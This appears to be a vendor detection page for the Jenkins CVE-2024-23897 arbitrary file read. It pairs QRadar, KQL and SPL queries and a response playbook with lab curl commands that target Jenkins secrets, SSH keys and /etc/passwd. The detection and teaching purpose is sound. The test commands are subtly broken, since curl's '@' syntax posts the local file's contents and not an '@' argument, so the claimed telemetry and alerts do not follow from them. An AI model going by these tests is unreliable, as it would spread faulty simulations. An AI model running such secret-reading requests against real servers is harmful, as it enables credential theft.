Detect CVE-2024-23897: Jenkins Arbitrary File Read via CLI Argument Parser (Pre-Auth RCE Chain) in IBM QRadar
CVE-2024-23897 is a critical path traversal vulnerability (CWE-22) in Jenkins' built-in CLI argument parser (args4j). The parser expands file contents prefixed with '@' as command arguments, allowing unauthenticated attackers to read arbitrary files from the Jenkins controller filesystem — including secrets, credentials, and SSH keys. When combined with additional weaknesses (e.g., exposed Remember Me tokens or cryptographic keys), this chain enables unauthenticated remote code execution. CVSS 9.8. Actively exploited (CISA KEV). Affects Jenkins <= 2.441 and LTS <= 2.426.2.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
destinationport,
URL,
'CVE-2024-23897' AS cve_id,
'critical' AS severity,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source,
"username",
magnitude
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'NGINX', 'Microsoft IIS', 'Palo Alto Networks Firewall', 'Cisco ASA', 'Snort')
AND (
URL ILIKE '%/cli%'
OR URL ILIKE '%/remoting/legacy%'
)
AND (
URL ILIKE '%@../%'
OR URL ILIKE '%@/etc/%'
OR URL ILIKE '%@/root%'
OR URL ILIKE '%@%secret%'
OR URL ILIKE '%@%passwd%'
OR URL ILIKE '%@%credential%'
OR URL ILIKE '%@%id_rsa%'
)
AND LAST 7 DAYS
ORDER BY starttime DESC
LIMIT 1000 QRadar AQL query detecting CVE-2024-23897 exploitation by searching HTTP log sources for requests to Jenkins CLI/remoting endpoints with '@'-prefixed path traversal or sensitive file read patterns in the URL. Covers web server and network security log source types.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Jenkins CLI automation jobs running with '@' file arguments for pipeline configuration
- Authorized vulnerability scanners registered in the QRadar reference set of approved scanner IPs
- CI/CD orchestration tools (Ansible, Terraform) that interact with Jenkins CLI endpoints
- Internal monitoring agents performing uptime checks against Jenkins service URLs
Other platforms for CVE-2024-23897
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated Jenkins CLI File Read via args4j @ Expansion
Expected signal: POST request to /cli with '@/etc/passwd' in body; HTTP 200 response with non-empty body containing passwd file contents; OS-level file open event for /etc/passwd initiated by jenkins process
- Test 2Jenkins master.key Extraction for Credential Decryption
Expected signal: Three sequential POST requests to /cli targeting secrets/master.key, secrets/hudson.util.Secret, and credentials.xml; file access events (auditd/Sysmon) for all three files initiated by the Jenkins JVM process; HTTP 200 responses with non-trivial body sizes
- Test 3Jenkins CLI Path Traversal via Remoting Legacy Endpoint
Expected signal: POST requests to /remoting/legacy and /cli with '@' file arguments; path traversal sequences in URI or body; file access events for .ssh/id_rsa; HTTP responses with key material in body
Response Playbook
Triage
- Confirm the targeted Jenkins instance version: retrieve the Jenkins version from `/login` page HTML, the `/api/json` endpoint, or server response headers. Determine if it is <= 2.441 (or LTS <= 2.426.2) to confirm vulnerability applicability.
- Identify the specific file(s) targeted by the '@' argument: extract the full URI or POST body from web/proxy logs to determine what was requested (e.g., `/var/jenkins_home/secrets/master.key`, `/etc/passwd`, `~/.ssh/id_rsa`, `credentials.xml`).
- Determine authentication context: check whether the request was unauthenticated (no session cookie, no Authorization header) — pre-auth exploitation is the primary concern. If authenticated, assess the account's privilege level.
- Assess response data: review HTTP response body sizes and status codes. A 200 response with non-trivial body length may indicate successful file read. Correlate with Jenkins application logs (`jenkins.log`) for any exceptions or CLI command traces.
- Pivot on attacker IP: query all activity from the source IP across the last 72 hours — look for reconnaissance (Jenkins fingerprinting, `/api/json` queries), credential stuffing, and post-exploitation activity (reverse shells, new user creation, secret exfiltration).
Containment
- Immediately disable Jenkins CLI access: in Jenkins > Manage Jenkins > Security, set CLI access over Remoting to 'Disabled'. If Jenkins version is unpatched, apply this as an emergency control before patching. Alternatively, block the `/cli` and `/remoting/legacy` URI paths at the WAF or reverse proxy.
- Rotate all credentials stored on the Jenkins controller: `master.key`, `hudson.util.Secret`, all credentials in `credentials.xml`, SSH keys used by Jenkins agents, API tokens, and any third-party service credentials (cloud providers, SCM tokens, container registries). Treat all as compromised if the attacker successfully read any file.
Evidence Collection
- Preserve Jenkins logs: collect `/var/log/jenkins/jenkins.log`, access logs for the reverse proxy (nginx/Apache), and audit logs from the Jenkins Audit Trail plugin (if installed) before any remediation that may rotate log files.
- Capture network forensics: export PCAP or NetFlow data for the attacker's source IP spanning the attack window. If a WAF is in use, export full request/response logs including body content to determine exactly which files were read and what data was returned.
Escalation Criteria
- !Escalate immediately to incident response if the attacker successfully read `master.key`, `hudson.util.Secret`, or `credentials.xml` — these files together allow decryption of all stored Jenkins credentials, enabling lateral movement to every connected system (cloud accounts, container registries, SCM, production infrastructure).
- !Escalate to CISO and legal if Jenkins stores credentials or secrets related to production customer data systems, PCI-scoped environments, or third-party SaaS integrations — a credential breach in this context may trigger breach notification obligations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Jenkins access log entries: POST/GET to `/cli` or `/remoting/legacy` with '@' patterns in URI or request body - >
Jenkins application log (`jenkins.log`): CLI command traces, argument parsing exceptions, or `java.io.FileNotFoundException` errors revealing targeted paths - >
Jenkins `secrets/` directory integrity: check `master.key` and `hudson.util.Secret` modification timestamps against the attack window - >
OS-level file access auditing (auditd/Sysmon): file open events on sensitive Jenkins files (`credentials.xml`, `master.key`, SSH keys) initiated by the Jenkins process - >
Network captures: HTTP response body content confirming successful file read (non-empty 200 responses to CLI endpoint)
Tuning Guidance
Begin with high-confidence suppression by creating a reference set or lookup of authorized CI/CD service account IPs and scanner IPs; suppress alerts where source IP is in this set and no sensitive file patterns are present in the URI. For environments with a WAF, tune on response body size — legitimate CLI health probes return small responses, while successful file reads return content proportional to file size. If Jenkins is behind an authenticated proxy, suppress unauthenticated requests that are blocked at the proxy layer before reaching Jenkins. Increase alert fidelity by correlating with post-exploitation indicators: a CLI request followed within 10 minutes by a new Jenkins admin user creation event, a new SSH authorized_keys entry, or outbound DNS/HTTP to uncommon destinations should be treated as confirmed compromise.
Hunting Queries
Retrospective threat hunt for all source IPs that have accessed Jenkins CLI or remoting endpoints in the past 30 days, regardless of payload content. Aggregates by source IP to surface low-and-slow reconnaissance or repeated exploitation attempts that may have evaded signature-based detection. Cross-references with threat intel indicators.
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL has "/cli" or RequestURL has "remoting"
| where isnotempty(RequestURL)
| summarize request_count=count(), unique_paths=dcount(RequestURL), first_seen=min(TimeGenerated), last_seen=max(TimeGenerated)
by SourceIP
| where request_count >= 3
| join kind=leftouter (
ThreatIntelligenceIndicator
| where isnotempty(NetworkIP)
| summarize by NetworkIP, ThreatType, ConfidenceScore
) on $left.SourceIP == $right.NetworkIP
| sort by request_count desc index=* sourcetype IN ("access_combined", "apache:access", "nginx:plus:kv", "iis")
(uri="*/cli*" OR uri="*/remoting/legacy*")
| stats count as total_requests, dc(uri) as unique_uris, earliest(_time) as first_seen, latest(_time) as last_seen
by src_ip, sourcetype
| where total_requests >= 3
| eval hunt_window="30d"
| sort - total_requests Host-level hunt for file access events (Windows Security Event 4663/4656, Linux auditd PATH records) targeting Jenkins credential or key files. Identifies cases where file read succeeded at the OS level, confirming successful data exfiltration during CVE-2024-23897 exploitation.
SecurityEvent
| where TimeGenerated >= ago(7d)
| where EventID in (4663, 4656)
| where ObjectName has_any ("jenkins", "credentials.xml", "master.key", "hudson.util.Secret", "id_rsa")
| project TimeGenerated, Computer, Account, ObjectName, ObjectType, ProcessName, EventID
| sort by TimeGenerated desc index=* sourcetype IN ("WinEventLog:Security", "linux:audit")
(EventCode=4663 OR EventCode=4656 OR type=PATH)
(ObjectName="*jenkins*" OR ObjectName="*credentials.xml*" OR ObjectName="*master.key*" OR ObjectName="*hudson.util.Secret*" OR ObjectName="*id_rsa*")
| table _time, host, user, ObjectName, type, action
| sort - _time Atomic Red Team Tests
Simulates the core CVE-2024-23897 vulnerability by sending a POST request to the Jenkins CLI endpoint with an '@' file expansion argument targeting /etc/passwd. This is the canonical unauthenticated file read primitive. Run only in a lab environment against an unpatched Jenkins instance.
Command
# Lab only — requires Jenkins <= 2.441 at JENKINS_URL
JENKINS_URL="http://jenkins-lab:8080"
curl -s -X POST "${JENKINS_URL}/cli" \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary '@/etc/passwd' \
-o /tmp/jenkins_etc_passwd_response.txt
cat /tmp/jenkins_etc_passwd_response.txt Cleanup
rm -f /tmp/jenkins_etc_passwd_response.txt Expected Telemetry
POST request to /cli with '@/etc/passwd' in body; HTTP 200 response with non-empty body containing passwd file contents; OS-level file open event for /etc/passwd initiated by jenkins process
Expected Detection
SPL/KQL alert fires on CLI endpoint access with '@/etc/passwd' pattern; SIEM shows source IP with request_count >= 1 to /cli with sensitive file pattern
Simulates the post-exploitation phase of CVE-2024-23897 where an attacker reads the Jenkins master.key and hudson.util.Secret files, which are required to decrypt credentials stored in credentials.xml. This enables offline decryption of all stored Jenkins credentials.
Command
# Lab only
JENKINS_URL="http://jenkins-lab:8080"
JENKINS_HOME="/var/jenkins_home"
# Read master.key
curl -s -X POST "${JENKINS_URL}/cli" \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary "@${JENKINS_HOME}/secrets/master.key" \
-o /tmp/master.key
# Read hudson.util.Secret
curl -s -X POST "${JENKINS_URL}/cli" \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary "@${JENKINS_HOME}/secrets/hudson.util.Secret" \
-o /tmp/hudson.util.Secret
# Read credentials.xml
curl -s -X POST "${JENKINS_URL}/cli" \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary "@${JENKINS_HOME}/credentials.xml" \
-o /tmp/credentials.xml
ls -la /tmp/master.key /tmp/hudson.util.Secret /tmp/credentials.xml Cleanup
rm -f /tmp/master.key /tmp/hudson.util.Secret /tmp/credentials.xml Expected Telemetry
Three sequential POST requests to /cli targeting secrets/master.key, secrets/hudson.util.Secret, and credentials.xml; file access events (auditd/Sysmon) for all three files initiated by the Jenkins JVM process; HTTP 200 responses with non-trivial body sizes
Expected Detection
Alert fires for each request to /cli with sensitive file patterns; hunting query surfaces three requests from same IP within short window; forensic artifact check shows credentials.xml access timestamp updated
Tests the alternative remoting/legacy endpoint path used in some CVE-2024-23897 exploitation variants. Some PoC tools use this endpoint instead of /cli. Targets the Jenkins SSH key used for agent communication.
Command
# Lab only
JENKINS_URL="http://jenkins-lab:8080"
# Attempt via remoting legacy endpoint
curl -s -X POST "${JENKINS_URL}/remoting/legacy" \
-H 'Content-Type: application/octet-stream' \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary '@/var/jenkins_home/.ssh/id_rsa' \
-o /tmp/jenkins_id_rsa_response.txt
# Also test path traversal variant
curl -s -X POST "${JENKINS_URL}/cli" \
-H 'Session: 00000000-0000-0000-0000-000000000000' \
-H 'Side: download' \
--data-binary '@../../etc/passwd' \
-o /tmp/jenkins_traversal_response.txt
cat /tmp/jenkins_id_rsa_response.txt
cat /tmp/jenkins_traversal_response.txt Cleanup
rm -f /tmp/jenkins_id_rsa_response.txt /tmp/jenkins_traversal_response.txt Expected Telemetry
POST requests to /remoting/legacy and /cli with '@' file arguments; path traversal sequences in URI or body; file access events for .ssh/id_rsa; HTTP responses with key material in body
Expected Detection
KQL/SPL rules fire on both /remoting/legacy and /cli endpoints with '@.*id_rsa' and '@../../' path traversal patterns; QRadar AQL alert surfaces remoting endpoint access with sensitive file patterns